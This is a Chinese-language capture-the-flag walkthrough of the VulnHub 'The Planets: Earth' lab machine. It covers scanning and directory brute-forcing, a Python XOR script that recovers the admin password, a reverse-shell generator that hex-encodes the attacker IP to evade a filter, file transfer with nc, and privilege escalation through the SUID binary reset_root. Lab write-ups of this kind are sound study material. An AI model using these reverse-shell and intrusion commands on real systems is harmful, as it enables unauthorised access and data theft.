wahaha2026-03-05文章来源:SecHub网络安全社区
https://www.vulnhub.com/entry/the-planets-earth,755/
利⽤arp探测⼀下
arp-scan -l

⽤namp扫⼀下
443下绑定两个域名
Name: DNS:earth.local, DNS:terratest.earth.local
nmap -A 172.16.163.134

web端访问⼀下,发现400

绑定域名访问
vim /etc/hosts

访问⼀下
https://earth.local/

爆⼀下⼦⽬录
./gobuster dir -u https://earth.local/ -w /usr/share/dirb/wordlists/big.txt -x .php,.txt,.zip -k


访问⼀下admin

爆破没进去,可能是字典不行吧
再爆一下另外一个子目录
./gobuster dir -u https://terratest.earth.local/ -w /usr/share/dirb/wordlists/big.txt -x
.php,.txt,.zip -k

有个robots ,进去看看

最后一个目录,手测一下发现是.txt

翻译一下:
测试安全消息系统注意事项:
*使⽤XOR加密作为算法,在RSA中使⽤应该是安全的。
*地球已确认他们已收到我们发送的信息。
*testdata.txt ⽤于测试加密。
*terra ⽤作管理⻔户的⽤户名。
去做:
*我们如何安全地将每⽉的密钥发送到地球? 或者我们应该每周更换钥匙?
*需要测试不同的密钥⻓度以防⽌暴⼒破解。 钥匙应该多⻓时间?
*需要改进消息界⾯和管理⾯板的界⾯,⽬前⾮常基础。
这⾥我们得到加密的算法是xor,并且有⼀个testdata.txt⽂档⽤于测试加密,⽤户名是terra
访问⼀下testdata.txt

写个简单py脚本,选⼀个Previous Messages数据,然后与 testdata.txt 进⾏⼀下 XOR 运算,得到密
钥
import binascii
data1 =
"2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c
0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074
d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d03
1d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e0307410544181
00c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0
c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b
141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e
454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b
05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171
a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()) #把testdata中的内容转换成⼗六进制
result = hex(int(data1,16) ^ int(f,16)) #⼗六进制转成⼗进制异或,之后再转换成⼗六进制
print(binascii.a2b_hex(result.replace("0x",""))) #把⼗六进制转换成字符串
运⾏后得到以下数据:
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humans
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humans
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humans
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humans
earthclimatechangebad4humansearthclimatechangebad4humansearthclimat
密码是重复的,然后使⽤⽤户名 terra ,密码:earthclimatechangebad4humans 登录

使⽤find命令查找flag:
find / -name "*flag*"

cat一下


再看看这个earth⽬录下有没有其他的东⻄

对ip进⾏了限制,利⽤⼗六进制进⾏反弹shell
写了⼀个脚本直接转成反弹⼗六进制的ip
print("请输⼊您的ip:")
ip = input()
print("请输⼊您的端⼝:")
port = input()
a = ip.split('.')
str = ""
for i in range(0,4):
if(i<3):
11
str += hex(int(a[i]))+"."
else:
str += hex(int(a[i]))
exp = "bash -i >& /dev/tcp/"+str+"/"+port+" 0>&1"
print(exp)

cat /proc/version

没搜到exp
来查找⼀下有权限的命令
find / -perm -u=s -type f 2>/dev/null

有个/usr/bin/reset_root

运⾏⼀下,发现报错
本地没有调试的命令,使⽤nc传送到本地调试⼀下
nc -lvnp >reset_root
nc ***.***.***.*** < /usr/bin/reset_root
发现桌⾯多了reset_root
然后 strace 命令进⾏调试
安装⼀下strace
apt install strace
增加权限
chmod +x reset_root
然后调试⼀下
strace /root/桌⾯/reset_root

没有以下三个⽂件⽽报错,查看靶机发现也没有这三个⽂件:

那就创建这三个⽂件
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
然后再靶机中尝试运⾏reset_root

得到root权限密码,Earth,
